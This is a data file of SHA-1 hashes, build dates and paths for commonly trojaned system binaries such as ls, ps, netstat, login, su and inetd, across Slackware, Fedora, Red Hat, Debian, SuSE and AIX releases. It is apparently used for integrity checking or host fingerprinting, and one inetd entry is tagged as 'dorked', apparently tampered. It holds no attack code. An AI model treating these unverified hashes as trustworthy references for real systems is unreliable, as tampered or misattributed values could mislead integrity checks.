Thu Nov 4 04:54:20 2004 /sbin/arp [Slackware 10.1] +BA572B78EF9A9D28CFF57389183AAD97A707C8EC Thu Nov 4 04:54:20 2004 /bin/netstat [Slackware 10.1] +AF6968B03B43900B24D478BCCB847DC272491DD4 Thu Nov 4 04:55:06 2004 /usr/sbin/in.telnetd [Slackware 10.1] +BA3183F4BE35761A8F5496777F47D890EB40603A Thu Nov 4 04:55:29 2004 /usr/sbin/in.tftpd [Slackware 10.1] +C3AB419E94D3D8DFFD2BD93A5D7B134F3AABED0F Thu Nov 4 04:55:12 2004 /bin/telnet [Slackware 10.1] +A1B7903529A1D68D3817871C47AEB5AA139228B3 Sun Jan 2 01:27:21 2005 /sbin/modinfo [Slackware 10.1] +D1E4E4F2A3189C9D41DC4260176477854DE54394 Wed Nov 3 22:30:35 2004 /bin/sh [Slackware 10.1] +4CCFADC7F563357899BBC9278C27C00B2DA39C3A Tue Aug 17 02:42:18 2004 /usr/bin/ps [Slackware 10.1] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /usr/bin/ls [Slackware 10.1] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /usr/bin/rm [Slackware 10.1] +DDC71F0D928E935F81EF58F49CB90401AE0C4465 Sat Sep 18 22:49:33 2004 /usr/sbin/in.proftpd [Slackware 10.1] + +EAFB3AAAC97983476512E488F75DD169F5FA7A91 Sun Apr 7 10:24:08 2002 /usr/bin/find [Slackware 10.0] +C5D9082B14287DAEC9030BA80185617966D4E410 Sun Feb 29 20:25:37 2004 /sbin/modinfo [Slackware 10.0] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /bin/rm [Slackware 10.0] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /bin/ls [Slackware 10.0] +512BBBD98BC1F9A922717E4E701FC35BAE3F44D9 Thu May 27 21:04:36 2004 /usr/bin/w [Slackware 10.0] +8320F5D749A184863830A3660625EED773B6696E Thu May 27 21:04:36 2004 /bin/ps [Slackware 10.0] +F46D572BBAF6FF07DC0D4EE8C0467D88B4FC6C67 Mon Jun 7 20:32:31 2004 /usr/sbin/proftpd [Slackware 10.0] +961D0C0901701D1630C5271AA8A67E24836B8EA8 Sun Jun 13 20:41:05 2004 /usr/sbin/inetd [Slackware 10.0] +C9A1135F97D7A76C9AEEFE41FF8FA444AD73841E Mon Jun 21 19:20:52 2004 /bin/su [Slackware 10.0] +9770FAD790FE4980560391ABEDA976753D7322EB Mon Jun 21 19:20:52 2004 /bin/login [Slackware 10.0] +EEEB2BE7597DF5BA39FEBC3145DCA2766A920DCB Mon Jun 21 21:31:55 2004 /sbin/arp [Slackware 10.0] +888F5431FDD6C52B3763ABF3C94E3CF19259054B Mon Jun 21 21:31:55 2004 /bin/netstat [Slackware 10.0] +8D2888DCF584FBD33067291DB5BBA411EA6E43F7 Mon Jun 21 21:32:23 2004 /usr/sbin/in.rshd [Slackware 10.0] +490815952111642630F9978A8ADD2932E3104365 Mon Jun 21 21:32:23 2004 /usr/sbin/in.rlogind [Slackware 10.0] +65406EEDD927E98DF1DABAD07C6F70D9BB7D97CF Mon Jun 21 21:32:33 2004 /usr/sbin/in.telnetd [Slackware 10.0] +AF1AB314BA878B7D5A274A2C86A0601C75979406 Mon Jun 21 21:32:52 2004 /usr/sbin/in.tftpd [Slackware 10.0] +BE070E516C0AC538A1B3C46DF3D46D9E9CF01CEF Mon Jun 21 21:32:37 2004 /bin/telnet [Slackware 10.0] +D2AF07625565FA525394BD3A668EDADAC5E1C07D Mon Jun 23 23:15:47 2003 /bin/sh [Slackware 10.0] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /usr/bin/ls [Slackware 10.0] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /usr/bin/rm [Slackware 10.0] +8320F5D749A184863830A3660625EED773B6696E Thu May 27 21:04:36 2004 /usr/bin/ps [Slackware 10.0] +F46D572BBAF6FF07DC0D4EE8C0467D88B4FC6C67 Mon Jun 7 20:32:31 2004 /usr/sbin/in.proftpd [Slackware 10.0] + +B657369153A2E02E82DF31B732829DC7FAEF0699 Fri Jun 18 19:36:37 2004 /usr/sbin/xinetd [Fedora 3] +03BFFFEC982AAD1ED9E4FA0F9D434DBA876CA823 Mon Jul 5 08:57:18 2004 /usr/bin/telnet [Fedora 3] +A7331381C746C367321DDC1C6E540E5D4C1B453E Wed Sep 22 22:12:14 2004 /sbin/modinfo [Fedora 3] +EB15BAFC791C676F1EAFE3F1D36DDF7B159D11E7 Tue Sep 28 18:10:02 2004 /usr/bin/w [Fedora 3] +88F447A6F6620F2282C602365EEA51741EDC536B Tue Sep 28 18:10:02 2004 /bin/ps [Fedora 3] +1F38E482DB83340F7A0D25A3225C2FA5BFEA21CF Thu Sep 30 12:49:50 2004 /sbin/arp [Fedora 3] +D21C9CF8D64EA88EA157631D980997007C3B0880 Thu Sep 30 12:49:51 2004 /bin/netstat [Fedora 3] +1DDD26020F07254BA7B583A93D8C036E6FECF19A Tue Oct 5 15:50:15 2004 /bin/su [Fedora 3] +DCE214C843D55C604D4811D4F558DDFB54EBF2E7 Tue Oct 5 15:50:21 2004 /bin/rm [Fedora 3] +D56DC67118EC5891283C2C8BF89D8DD3CAB95966 Tue Oct 5 15:50:21 2004 /bin/ls [Fedora 3] +F2A64A8E3703B152CF77A504D3C7792F6C480F40 Thu Oct 14 18:04:42 2004 /bin/login [Fedora 3] +581E179B173D486B283F7F131C2CF1D2C123AA34 Tue Oct 19 18:53:23 2004 /usr/bin/find [Fedora 3] +DA529135EDB7C868BB537B50AA65EACF7763DC2D Tue Oct 19 19:40:07 2004 /bin/sh [Fedora 3] + +8D23FFFB481278F0A7D220240A3DA1C53A6DA751 Sat Dec 1 09:10:47 2007 /usr/bin/telnet [RedHat Enterprise 5.6] +4ACC35E83D01E9EA1C983F1905333FD6A28F16F4 Thu Sep 3 18:09:22 2009 /usr/bin/find [RedHat Enterprise 5.6] +9F61A3307F410D03B4D887603C0636EE49F495C4 Wed Jan 20 10:43:02 2010 /bin/login [RedHat Enterprise 5.6] +7DBCDF6616C9E320572FE36B02BF9E276513DDCF Tue Jan 26 23:43:34 2010 /sbin/arp [RedHat Enterprise 5.6] +B1DC52ADA700C1E2EB8B1A47BCE5BED583436587 Tue Jan 26 23:43:34 2010 /bin/netstat [RedHat Enterprise 5.6] +C1C4C38E77100879309D6F8B1E44524AA6489579 Sun Feb 28 22:33:18 2010 /bin/su [RedHat Enterprise 5.6] +AE5060A43228FF00D005BB494367EF5C38826B8F Sun Feb 28 22:33:21 2010 /bin/rm [RedHat Enterprise 5.6] +033D3CD22A94022B89F239497BFD9FE10F044E1D Sun Feb 28 22:33:21 2010 /bin/ls [RedHat Enterprise 5.6] +1F30594A9285A825E69BA7B9F011E4CBC2E8025C Wed Mar 31 04:53:48 2010 /usr/bin/w [RedHat Enterprise 5.6] +60E1A63B01621423CEFD78388CBC560019A71D2D Wed Mar 31 04:53:49 2010 /bin/ps [RedHat Enterprise 5.6] +78AC8D56103EA5D8F5216803F8D598F0DBEC9452 Wed Mar 31 07:08:49 2010 /sbin/modinfo [RedHat Enterprise 5.6] +C907002D0FC9619A0217460D3E9B9DC663FC9A1F Thu Jan 22 01:14:14 2009 /bin/sh [RedHat Enterprise 5.6] + +AEFDE5EDDB2C95D3E648FC6F2DC49D8F45C37413 Sun Jan 7 01:35:59 2007 /sbin/arp [CentOS 5.1 x86_64] +FC80A398349F4C26C12A46A0677DE445754DCCDB Sun Jan 7 01:35:59 2007 /bin/netstat [CentOS 5.1 x86_64] +C384F89DB92E1B267CD0DAD211A4243FC41CAB92 Sun Jan 7 12:20:15 2007 /usr/bin/find [CentOS 5.1 x86_64] +994C43C02043D9DB8EE8ECC34ABC30C4673BDD03 Wed Mar 14 23:01:13 2007 /usr/bin/w [CentOS 5.1 x86_64] +5E4C7F429A0C0D83C9839D3CEE567D2AA3855730 Wed Mar 14 23:01:13 2007 /bin/ps [CentOS 5.1 x86_64] +DB4216FBE5C3C984E8848EAAADA0AAAAE9AA50B3 Thu Mar 15 01:46:12 2007 /usr/bin/telnet [CentOS 5.1 x86_64] +299BE90CE120D677DD82C4CA4F5CF15EF1FA10AE Wed Mar 21 21:19:15 2007 /bin/su [CentOS 5.1 x86_64] +4FCD92326100CF4A805F87789FC9BE7501D2DE71 Wed Mar 21 21:19:18 2007 /bin/rm [CentOS 5.1 x86_64] +0BB40223BDD069BA08193A6E7B6F01F45F8AF94F Wed Mar 21 21:19:18 2007 /bin/ls [CentOS 5.1 x86_64] +5C5E8C8169A27D9F929BB2D6E92C000B9905E718 Sat Nov 10 13:08:34 2007 /bin/login [CentOS 5.1 x86_64] +6754C6A6BDAD33A82E107B0D67B8D806AC6F045F Sun Nov 11 01:57:30 2007 /sbin/modinfo [CentOS 5.1 x86_64] +36CA3447E2D81E2239285B495559C50FFDD10BD7 Sat Jan 6 04:22:43 2007 /bin/sh [CentOS 5.1 x86_64] + +98B9D321E348177CF330E0604D59BED0EB4E2FF8 Tue Nov 23 17:08:05 2004 /bin/rm [AIX 5.3] +98B9D321E348177CF330E0604D59BED0EB4E2FF8 Tue Nov 23 17:08:05 2004 /usr/bin/rm [AIX 5.3] +6FBB6DF431B252522CB6125E38BA4E60C6524D74 Tue Feb 6 16:28:16 2007 /bin/ls [AIX 5.3] +6FBB6DF431B252522CB6125E38BA4E60C6524D74 Tue Feb 6 16:28:16 2007 /usr/bin/ls [AIX 5.3] +5166D0A317E169E7F728377CF50C2CD3C7729D4B Tue Feb 6 23:02:45 2007 /bin/w [AIX 5.3] +5166D0A317E169E7F728377CF50C2CD3C7729D4B Tue Feb 6 23:02:45 2007 /usr/bin/w [AIX 5.3] +BCDE5A7BE9B2C4FCD8D1BA5F6A23C7E8AD727125 Tue Feb 6 23:43:12 2007 /usr/sbin/arp [AIX 5.3] +61224C039DA1CCFA45EE6500623914897F28DCF9 Thu Feb 8 02:52:48 2007 /usr/sbin/inetd [AIX 5.3] +C1D1FD891F975D4368F41E90796912758F457555 Thu Feb 8 03:33:44 2007 /usr/sbin/krlogind [AIX 5.3] +872BCE599F06B673C90BCD2A8F7D6938F7564C10 Thu Feb 8 03:33:32 2007 /bin/telnet [AIX 5.3] +872BCE599F06B673C90BCD2A8F7D6938F7564C10 Thu Feb 8 03:33:32 2007 /usr/bin/telnet [AIX 5.3] +0A7EA67D00BB377BF8029CD37A80870C26549796 Thu Feb 8 03:33:41 2007 /usr/sbin/rlogind [AIX 5.3] +8C3D0B0654D7C18CD20D75D8ADEAC6EFE37F99B1 Thu Feb 8 03:33:42 2007 /usr/sbin/telnetd [AIX 5.3] +43DEC4224F427869DD80FD4592E94556233BE155 Thu Feb 8 03:33:43 2007 /usr/sbin/tftpd [AIX 5.3] +E7E6D19861153EB2923B59566F65A6E23EDB62F7 Sun Feb 11 17:16:26 2007 /usr/sbin/login [AIX 5.3] +14908F9394284BCA6E936CD8A04D862204386B7A Sun Feb 11 17:19:01 2007 /bin/su [AIX 5.3] +14908F9394284BCA6E936CD8A04D862204386B7A Sun Feb 11 17:19:01 2007 /usr/bin/su [AIX 5.3] +E6E9F93E05BB21DFC201A24907DA010B8CCBA2A6 Sat Mar 10 08:11:20 2007 /bin/find [AIX 5.3] +E6E9F93E05BB21DFC201A24907DA010B8CCBA2A6 Sat Mar 10 08:11:20 2007 /usr/bin/find [AIX 5.3] +46B7EBC43C41562AB6E9DCDC67BF4165D10C81F6 Sat Mar 10 23:12:09 2007 /usr/sbin/netstat [AIX 5.3] +341F58858948F57B59755FAFBC379C9185233018 Fri Mar 23 15:57:50 2007 /usr/sbin/krshd [AIX 5.3] +7916ACE364465D913F9E345FA82B1407E58DFC31 Fri Mar 23 15:57:43 2007 /usr/sbin/rshd [AIX 5.3] +F98385E8FE9572E9BA8C5D5FBEEB76B29E119B8F Wed Apr 11 16:55:16 2007 /usr/sbin/ftpd [AIX 5.3] +F2BADA6D9F40ECF97594B366C31DA0581306DDEC Wed Apr 11 17:50:24 2007 /bin/ps [AIX 5.3] +F2BADA6D9F40ECF97594B366C31DA0581306DDEC Wed Apr 11 17:50:24 2007 /usr/bin/ps [AIX 5.3] +58E5BC5BB8F82B71C81195A9E45FB31FE724BB67 Thu Apr 19 03:58:06 2007 /bin/sh [AIX 5.3] +58E5BC5BB8F82B71C81195A9E45FB31FE724BB67 Thu Apr 19 03:58:06 2007 /usr/bin/sh [AIX 5.3] +E7E6D19861153EB2923B59566F65A6E23EDB62F7 Sun Feb 11 17:16:26 2007 /bin/login [AIX 5.3] +E7E6D19861153EB2923B59566F65A6E23EDB62F7 Sun Feb 11 17:16:26 2007 /usr/bin/login [AIX 5.3] +46B7EBC43C41562AB6E9DCDC67BF4165D10C81F6 Sat Mar 10 23:12:09 2007 /bin/netstat [AIX 5.3] +46B7EBC43C41562AB6E9DCDC67BF4165D10C81F6 Sat Mar 10 23:12:09 2007 /usr/bin/netstat [AIX 5.3] + +B5421C7136BA8A71EBAC16189B1E0F4B3F493268 Sat Mar 18 23:29:36 2006 /usr/sbin/arp [Debian 4.0 x86_64] +6592B55B5AEB7549D8D166354B25D575C9FE27FA Sat Mar 18 23:29:36 2006 /bin/netstat [Debian 4.0 x86_64] +6107A180159C275812E934CBF9B27053719F5373 Sun Aug 6 08:38:05 2006 /usr/bin/find [Debian 4.0 x86_64] +6780289A1753F1626EC399EB7D80EEDA9F85838B Wed Sep 13 02:23:18 2006 /bin/ps [Debian 4.0 x86_64] +9968A881BAF76776C9CAB5E0FF3F23E3D3A29618 Tue Jan 30 20:38:21 2007 /bin/rm [Debian 4.0 x86_64] +529BF1A78A4FA66B00307CFE89E341FE3BEA28B3 Tue Jan 30 20:38:21 2007 /bin/ls [Debian 4.0 x86_64] +46C2766B217F3DCBC2010B6210CBADE6CFA01968 Sun Feb 18 18:49:14 2007 /sbin/modinfo [Debian 4.0 x86_64] +268609A5848AF29523939D01F8EAAB9D0FC2843B Tue Feb 27 19:13:08 2007 /bin/su [Debian 4.0 x86_64] +D47E3EFEBA54C6C7E55CCE4AB85FD415E15A6FDC Tue Feb 27 19:13:08 2007 /bin/login [Debian 4.0 x86_64] +FA27B8C451E665B87D8C193FF2B7EEBCF6E0127A Mon Mar 12 02:20:07 2007 /usr/sbin/update-inetd [Debian 4.0 x86_64] +999E3D77AB22BD35702FE9C155DEF77087D73AA5 Wed Mar 21 18:21:22 2007 /usr/sbin/inetd [Debian 4.0 x86_64] +53B60118A12EB129C584B58191CDFC2808169FC9 Mon Dec 11 22:28:19 2006 /bin/sh [Debian 4.0 x86_64] +B1B658F6D586E9931A5AC3BDC9E936442049E0A8 Wed Sep 13 02:23:18 2006 /usr/bin/w [Debian 4.0 x86_64] +742C78DB601AF885C66585D593E5A2FD672812A0 Sat Nov 18 09:37:30 2006 /usr/bin/telnet [Debian 4.0 x86_64] + +1E708BE90ADC1EC4BF14082E26BB545A4F730AFA Tue Feb 17 18:59:22 2004 /usr/sbin/xinetd [Fedora 2] +7007192E9C4B72C24E6A0EA3DF4278AE7526A5E8 Wed Feb 18 20:13:41 2004 /usr/bin/telnet [Fedora 2] +009CFC3C5E1A3F1BCD2E992619E3E62E4C1A8570 Fri Mar 5 06:04:45 2004 /usr/bin/w [Fedora 2] +6540C6C30B279D372233D0A549029054C04BC76D Fri Mar 5 06:04:44 2004 /bin/ps [Fedora 2] +81792E0FCC14C5BB86F3BC45F12BD96EC20016E2 Mon Mar 15 22:02:01 2004 /usr/bin/find [Fedora 2] +4C82AE542D0F48641E91876AA57FF6AD7E5B1247 Thu Apr 15 16:08:06 2004 /sbin/arp [Fedora 2] +AC1996350D770D7F2E6C29571E2448E8539CFB12 Thu Apr 15 16:08:06 2004 /bin/netstat [Fedora 2] +31639278A178E591DF0BF9B99516E89F52C6D864 Tue May 4 16:25:57 2004 /bin/su [Fedora 2] +49CC82CCFABB3E94D109FB91E6F5F5DDD4DB97C2 Tue May 4 16:26:05 2004 /bin/rm [Fedora 2] +754B0CDD2D9FED234A8D9964D45DB46504110694 Tue May 4 16:26:05 2004 /bin/ls [Fedora 2] +723D4A0904D1B71EA2F851DCB5407DB4CA6E98A4 Tue May 4 21:34:53 2004 /bin/login [Fedora 2] +7626975F9C94F1689371C54DB6405D4102952631 Wed May 5 05:38:36 2004 /sbin/modinfo [Fedora 2] +68E5D269191506A40163D6A2F0717B4F9959227A Thu Mar 11 11:19:36 2004 /bin/sh [Fedora 2] + +D4043EA87F013D191C66351294CE37BA34844ED8 Sun Apr 8 10:20:46 2001 /bin/login [AIX 5.1] +D4043EA87F013D191C66351294CE37BA34844ED8 Sun Apr 8 10:20:46 2001 /usr/bin/login [AIX 5.1] +D695273DBE35988DEC20364DEEEEB2B865E581CC Sun Apr 8 10:03:15 2001 /bin/netstat [AIX 5.1] +D695273DBE35988DEC20364DEEEEB2B865E581CC Sun Apr 8 10:03:15 2001 /usr/bin/netstat [AIX 5.1] +D0B7A8655F67E58C395CD0AFD6340A34743C919F Sun Apr 8 09:18:42 2001 /bin/su [AIX 5.1] +D0B7A8655F67E58C395CD0AFD6340A34743C919F Sun Apr 8 09:18:42 2001 /usr/bin/su [AIX 5.1] +29854B935D9937CC95C4C443D129D4ABB9314D83 Sun Apr 8 09:30:53 2001 /usr/sbin/arp [AIX 5.1] +D48E2BFB35955DEB7927EFFC5DFB47A5B4F0DAC6 Sun Apr 8 09:35:51 2001 /bin/ps [AIX 5.1] +D48E2BFB35955DEB7927EFFC5DFB47A5B4F0DAC6 Sun Apr 8 09:35:51 2001 /usr/bin/ps [AIX 5.1] +87F92DAE2CA7C2BB075D30224767CB361825A935 Sun Apr 8 09:44:19 2001 /bin/sh [AIX 5.1] +87F92DAE2CA7C2BB075D30224767CB361825A935 Sun Apr 8 09:44:19 2001 /usr/bin/sh [AIX 5.1] +434DF292C74FD538004376549ACDDDC374D3B8F8 Sun Apr 8 09:50:58 2001 /bin/find [AIX 5.1] +434DF292C74FD538004376549ACDDDC374D3B8F8 Sun Apr 8 09:50:58 2001 /usr/bin/find [AIX 5.1] +1C4935662987B9D9EB8550C5471DBA44F1DE4580 Sun Apr 8 09:50:12 2001 /bin/rm [AIX 5.1] +1C4935662987B9D9EB8550C5471DBA44F1DE4580 Sun Apr 8 09:50:12 2001 /usr/bin/rm [AIX 5.1] +D695273DBE35988DEC20364DEEEEB2B865E581CC Sun Apr 8 10:03:15 2001 /usr/sbin/netstat [AIX 5.1] +DCD3D5E6281879BBB1DA30E51620933A791C2D88 Sun Apr 8 10:03:37 2001 /bin/w [AIX 5.1] +DCD3D5E6281879BBB1DA30E51620933A791C2D88 Sun Apr 8 10:03:37 2001 /usr/bin/w [AIX 5.1] +40A0C2A98FE0996649053FCC94DA0B6158C09868 Sun Apr 8 10:13:59 2001 /bin/ls [AIX 5.1] +40A0C2A98FE0996649053FCC94DA0B6158C09868 Sun Apr 8 10:13:59 2001 /usr/bin/ls [AIX 5.1] +D4043EA87F013D191C66351294CE37BA34844ED8 Sun Apr 8 10:20:46 2001 /usr/sbin/login [AIX 5.1] +9A2E54B4218523D49C9F3067BE816527DFA3E539 Sun Apr 8 12:42:54 2001 /bin/telnet [AIX 5.1] +9A2E54B4218523D49C9F3067BE816527DFA3E539 Sun Apr 8 12:42:54 2001 /usr/bin/telnet [AIX 5.1] +64B56243AF056DC313D55D544F3F6C3F9573900F Sun Apr 8 12:45:21 2001 /usr/sbin/rlogind [AIX 5.1] +522D9D013A00AD419EB990E0BC651836C5D38A7B Sun Apr 8 12:45:06 2001 /usr/sbin/ftpd [AIX 5.1] +F236BD5B1C6906944115DA48EAE4F8CEF1819344 Sun Apr 8 12:46:27 2001 /usr/sbin/telnetd [AIX 5.1] +F6685922DC8B55B642285CC67584C92FFB64BAE7 Sun Apr 8 12:47:31 2001 /usr/sbin/krlogind [AIX 5.1] +8EBA5F0B21232178803295C47D3AC844999A5688 Sun Apr 8 12:47:21 2001 /usr/sbin/tftpd [AIX 5.1] +24D69543038C368A3DA7D43952C93BE366B781A6 Sun Apr 8 12:48:19 2001 /usr/sbin/rshd [AIX 5.1] +497988E990E25B7512D2EE887A30E744E6605BEA Sun Apr 8 12:48:57 2001 /usr/sbin/krshd [AIX 5.1] +A6DC376B81619597F495BE594E5C612103377B15 Tue May 4 17:25:26 2010 /usr/sbin/inetd [AIX 5.1 (dorked)] + +B7A2C960FD08C475D6724D8C7C9E1E54452CA423 Thu Jul 13 15:58:33 2006 /usr/bin/find [Fedora 6] +9248E4C55B85D9988E3285CEBAC8BECE224322AF Fri Jul 14 11:25:26 2006 /usr/bin/telnet [Fedora 6] +CAB725FC91D528CFFF2C50EB4854499541C811B2 Thu Aug 3 00:21:53 2006 /sbin/modinfo [Fedora 6] +59B5D186EC396D07FCFCA1FCA2210A0113B7DEA3 Mon Aug 7 11:18:31 2006 /sbin/arp [Fedora 6] +3F2AA0BCAFB3AE1E4D6B73D90691400BD8EF6A0A Mon Aug 7 11:18:31 2006 /bin/netstat [Fedora 6] +F4239C987D333F4D6BD1898D841E5BE4C6723AA8 Wed Sep 27 15:40:10 2006 /usr/bin/w [Fedora 6] +C8314C7251B1BD592058F2C9F71B5AFF0D723ED7 Wed Sep 27 15:40:09 2006 /bin/ps [Fedora 6] +B81965841649EFD2BB0CC3C992A77DB8267C0883 Thu Sep 28 12:32:17 2006 /bin/su [Fedora 6] +AF076AC18804AD90C90C8F00E5F5528294D7D250 Thu Sep 28 12:32:23 2006 /bin/rm [Fedora 6] +3CD5580459B8E7ABC3932BFB7E33EBCFA702F67B Thu Sep 28 12:32:23 2006 /bin/ls [Fedora 6] +3ADD39DBE5D21D6A75219FFDBF7A6313FDE5FA5B Thu Oct 12 10:14:43 2006 /bin/login [Fedora 6] +67FDB86FE423DFEB9F34423B648BF4D49DD1E607 Wed Jul 12 07:11:53 2006 /bin/sh [Fedora 6] + +01090DF56E8BB6958F549016B0162F83F2DBEC5A Fri Jun 16 13:58:52 2006 /usr/bin/telnet [SuSE Enterprise 10.3 x86_64] +2DF0378E19ADD530EA0EC2C63C595B3E8F74DE56 Fri Jun 16 14:27:12 2006 /usr/bin/opieftpd [SuSE Enterprise 10.3 x86_64] +B9919ED9D91FE984427EBE3A3E486EDC12A53AC4 Thu May 3 13:29:16 2007 /usr/bin/find [SuSE Enterprise 10.3 x86_64] +F9AB14F68DD8A5990226436E50C4610D52CE8AC1 Sat Sep 5 10:30:18 2009 /sbin/arp [SuSE Enterprise 10.3 x86_64] +71C1F800342C11E11860F49BD1FDEDB4A02527EB Sat Sep 5 10:30:18 2009 /bin/netstat [SuSE Enterprise 10.3 x86_64] +12EA11344F7FDED1D916E08890C5EE3DE1D437D2 Sat Sep 5 10:35:13 2009 /usr/sbin/xinetd [SuSE Enterprise 10.3 x86_64] +B4140D41278228EAF7329AF5861AA96CC30BB7C3 Sat Sep 5 10:36:46 2009 /bin/su [SuSE Enterprise 10.3 x86_64] +E49088C6F744B035477DAAE6ABF4F571FB24E44D Sat Sep 5 10:36:46 2009 /bin/rm [SuSE Enterprise 10.3 x86_64] +0F643DCCDDDD08564FDB025B379473AC9C112495 Sat Sep 5 10:36:46 2009 /bin/ls [SuSE Enterprise 10.3 x86_64] +3F0FFDDB5F150B1306F2359D1ABB01CFDC41E006 Sat Sep 5 11:11:30 2009 /bin/login [SuSE Enterprise 10.3 x86_64] +9B439F7267662C698EB81C024154EAECEC794A64 Sun Sep 6 22:11:52 2009 /sbin/modinfo [SuSE Enterprise 10.3 x86_64] +97E8E4CD45B0C83C577A90ABC1273F7FD3C6E0D3 Mon Sep 14 14:35:04 2009 /usr/bin/w [SuSE Enterprise 10.3 x86_64] +9156C5AF4A6AE53C8E54E38D6139984564D5D0AD Mon Sep 14 14:35:04 2009 /bin/ps [SuSE Enterprise 10.3 x86_64] +56098E13A39056983102B0157004164498F5F8DB Sat Sep 5 10:28:56 2009 /bin/sh [SuSE Enterprise 10.3 x86_64] +245C64AB0E7D074B2BA9460EA687EBBA116F2F60 Sat Sep 5 10:35:13 2009 /usr/sbin/rcxinetd [SuSE Enterprise 10.3 x86_64] + +DC294A39E6BEF72CCB7636D150A0EB06F769BBE9 Sat Jun 2 04:28:26 2001 /usr/bin/find [Debian 3.0] +6CB9FE0BB54A54C8CADBD19F7CE290314420DB7B Sat Oct 27 21:27:05 2001 /bin/ps [Debian 3.0] +CD892F35A19FF694DCFC8D34D99AE009F43ADBEA Sun Nov 18 14:09:04 2001 /usr/sbin/update-inetd [Debian 3.0] +B57C42B5859F76BE7A55BB6134D1EC825E2259E1 Sun Nov 18 22:29:26 2001 /usr/sbin/inetd [Debian 3.0] +66F39228743CACC02276CC57329A5A0812BF9B15 Sat Nov 24 05:59:16 2001 /usr/sbin/arp [Debian 3.0] +7C1B3DF2A3760FCEF4EF19182F60A223CBCFBAB5 Sat Nov 24 05:59:16 2001 /bin/netstat [Debian 3.0] +1BF4677C61236901CA16F92EE94B714FC24FAFA3 Mon Mar 18 15:10:01 2002 /bin/rm [Debian 3.0] +D95601C5E00148BA6ECC8B567715E3F3A8F42FBA Mon Mar 18 15:10:01 2002 /bin/ls [Debian 3.0] +1C7A4596BC163483BB578A699A83AF5AD286542D Sun Mar 24 14:27:08 2002 /sbin/modinfo [Debian 3.0] +A63DD306549301D682DB8F9EBB7843135CE33C90 Sat Apr 6 23:42:16 2002 /usr/sbin/in.telnetd [Debian 3.0] +4ADB2455388512E759E86648C1719091E2A2845E Sun Apr 7 15:59:14 2002 /bin/su [Debian 3.0] +DA7E65615824609B181AF98115AD097DF27EE728 Sun Apr 7 15:59:14 2002 /bin/login [Debian 3.0] +FB2553B42DE2203EBA9A04A865F4BDE2A0C77E0E Thu Apr 18 09:19:26 2002 /usr/sbin/in.ftpd [Debian 3.0] +2F65573F55BA80DD8FAD67435E6F20D413357C28 Mon Apr 8 19:07:32 2002 /bin/sh [Debian 3.0] +CD358A85E8150B6C171C25748903E8FEC88DC14E Sat Oct 27 21:27:05 2001 /usr/bin/w [Debian 3.0] +17C10C8D8776A1074D52B4F7C4CE731E1EFD1107 Sat Apr 6 23:42:16 2002 /usr/bin/telnet [Debian 3.0] + +4522876648C2BD295095D6B0A051CC6063B1E2C8 Tue Sep 23 01:28:25 1997 /usr/sbin/in.tftpd [RedHat 5.0] +0DB3CDAEF3B2AB1618D2D327B8F1D80228A6964C Tue Oct 14 16:22:03 1997 /usr/sbin/in.rshd [RedHat 5.0] +CAE51054531E2760F20278833A729918772B5904 Tue Oct 14 16:22:03 1997 /usr/sbin/in.rlogind [RedHat 5.0] +9D6F6D4C09A2F3797A046A37DC93E3777BD64DA5 Thu Oct 23 01:36:01 1997 /bin/login [RedHat 5.0] +3C699964F17EE96CB428E445E55C89FAF05969D5 Thu Oct 23 01:52:27 1997 /bin/rm [RedHat 5.0] +6D47127BA7B756DB699CFBA418164B0A74576948 Thu Oct 23 01:52:27 1997 /bin/ls [RedHat 5.0] +230E6757934BDED017C026D13B32722CCAEA09D9 Thu Oct 23 02:04:22 1997 /sbin/arp [RedHat 5.0] +816D8546C786FB564C8C64988C18190606DB6702 Thu Oct 23 02:04:22 1997 /bin/netstat [RedHat 5.0] +5B0BF6910494A5F9803FEC2385FEC990F42C023F Mon Oct 27 16:30:03 1997 /bin/su [RedHat 5.0] +FC000D8F6DD66A98F7AAFAD667F094A6470CA889 Wed Oct 29 20:29:57 1997 /usr/sbin/in.telnetd [RedHat 5.0] +243C7B28A4328EBC49B39AE413EEFB63288EE435 Wed Oct 29 20:29:57 1997 /usr/bin/telnet [RedHat 5.0] +75812D32F72E56C7ED4CE3289E9C3B521ABB786D Thu Oct 30 15:43:52 1997 /usr/sbin/inetd [RedHat 5.0] +E4E5F95CB75011E9D58B4381C6416A5B2E1D3221 Fri Oct 31 22:08:40 1997 /usr/sbin/in.ftpd [RedHat 5.0] +9CF9654F9960A27562FFF8E7C5BCEEF2E4C6044D Tue Nov 4 15:20:55 1997 /bin/ps [RedHat 5.0] +BADD4232957FB8B5F34BBD63C7A7FADAA9B8EE55 Tue Nov 4 15:20:55 1997 /usr/bin/w [RedHat 5.0] +29209A24423498BB6EDBCF9A085F155DE7BC7F0A Sun Nov 9 23:24:43 1997 /usr/bin/find [RedHat 5.0] +48A9B236D43D6C3F3F3F4262A41599CB91D48F88 Fri Nov 7 19:13:27 1997 /bin/sh [RedHat 5.0] + +888F1AC6CF497C6A240420FE0F86C77141DF13DD Fri Sep 21 19:11:29 2007 /sbin/modinfo [SuSE 10.3 x86_64] +88E77B0F53ED4680178CA034F40BCF183C8CA863 Fri Sep 21 19:13:15 2007 /usr/bin/telnet [SuSE 10.3 x86_64] +F347BDCA827A5ECAF3067A863C4A0FBA7C3B91D3 Fri Sep 21 19:14:11 2007 /usr/bin/w [SuSE 10.3 x86_64] +AC487F08E40F1DB079D7EAA665EB9CDC5E7D6D68 Fri Sep 21 19:14:11 2007 /bin/ps [SuSE 10.3 x86_64] +045ED43371065359C0F33B2A676C10CF2AC0D60B Fri Sep 21 19:15:17 2007 /usr/bin/find [SuSE 10.3 x86_64] +8ED7EA60AB6C8AB1392F3264098F19D6FA0E09C7 Fri Sep 21 19:24:28 2007 /sbin/arp [SuSE 10.3 x86_64] +2335946717062AB143A0903EABE14D8DB73C60E7 Fri Sep 21 19:24:27 2007 /bin/netstat [SuSE 10.3 x86_64] +F4F2D4BFEAB8190A22D2F90E9D7EC138DC0DF852 Fri Sep 21 19:27:00 2007 /usr/sbin/xinetd [SuSE 10.3 x86_64] +E4F42A457E232C936740A0B54264F5AB25C7E26C Fri Sep 21 